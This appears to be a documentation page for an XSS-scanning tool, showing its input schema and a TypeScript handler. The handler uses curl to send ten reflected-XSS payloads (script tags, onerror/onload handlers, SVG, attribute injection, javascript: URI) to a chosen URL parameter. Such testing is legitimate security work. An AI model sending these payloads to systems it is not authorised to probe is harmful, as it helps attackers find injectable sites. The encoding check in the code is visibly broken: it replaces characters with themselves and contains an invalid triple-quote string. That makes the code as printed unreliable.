xss_reflected_test
Test for reflected XSS vulnerabilities by sending 10 payloads to a URL parameter and checking if they appear unescaped in the response. Returns detailed results including vulnerable count.
Instructions
Test multiple reflected XSS vectors against a parameter. Sends 10 payloads (script tags, event handlers, SVG, attribute injection, case variation, template literals) and checks if they appear unescaped in the response. Returns results array with reflected/encoded/status per payload, and vulnerable_count. Side effects: Read-only GET requests. Sends 10 requests.
Input Schema
TableJSON Schema
| Name | Required | Description | Default |
|---|---|---|---|
| url | Yes | URL with reflectable parameter, e.g. https://target/search?q=test | |
| parameter | Yes | Parameter name that reflects input, e.g. 'q' |
Implementation Reference
- src/tools/xss.ts:19-86 (handler)The handler implementation for the `xss_reflected_test` tool, which executes XSS payloads using `curl` and evaluates the response.
async ({ url, parameter }) => { requireTool("curl"); const baseUrl = url.split("?")[0]; const payloads = [ "<script>alert(1)</script>", "<ScRiPt>alert(1)</ScRiPt>", "<img src=x onerror=alert(1)>", "<svg onload=alert(1)>", "<body onload=alert(1)>", `" onfocus=alert(1) autofocus="`, "<img src=x onerror=alert`1`>", "<details open ontoggle=alert(1)>", "'-alert(1)-'", "javascript:alert(1)", ]; // Unique canary to detect reflection const canary = "xR3f7kQ9"; const results = []; for (const payload of payloads) { const fullPayload = `${canary}${payload}`; const res = await runCmd("curl", [ "-sk", "-o", "-", "-w", "\n__STATUS__%{http_code}", `${baseUrl}?${parameter}=${fullPayload}`, ]); let body = res.stdout; const statusMarker = body.lastIndexOf("__STATUS__"); let status = 0; if (statusMarker !== -1) { try { status = parseInt(body.slice(statusMarker + 10).trim(), 10); } catch { // leave status as 0 } body = body.slice(0, statusMarker); } // Check for unescaped reflection const reflected = body.includes(payload); // Check if it was HTML-encoded const encoded = body.includes(payload.replace(/</g, "<").replace(/>/g, ">")) || body.includes(payload.replace(/"/g, """)); results.push({ payload, reflected_unescaped: reflected, reflected_encoded: encoded, status, }); } const vulnerableCount = results.filter((r) => r.reflected_unescaped).length; const result = { results, vulnerable_count: vulnerableCount, hint: vulnerableCount > 0 ? `${vulnerableCount} payload(s) reflected without encoding.` : "No unescaped reflections detected. Try DOM-based vectors or different parameters.", }; return { content: [{ type: "text" as const, text: JSON.stringify(result, null, 2) }] }; } ); - src/tools/xss.ts:12-18 (registration)Tool registration for `xss_reflected_test` including input schema definition.
server.tool( "xss_reflected_test", "Test multiple reflected XSS vectors against a parameter. Sends 10 payloads (script tags, event handlers, SVG, attribute injection, case variation, template literals) and checks if they appear unescaped in the response. Returns results array with reflected/encoded/status per payload, and vulnerable_count. Side effects: Read-only GET requests. Sends 10 requests.", { url: z.string().describe("URL with reflectable parameter, e.g. https://target/search?q=test"), parameter: z.string().describe("Parameter name that reflects input, e.g. 'q'"), },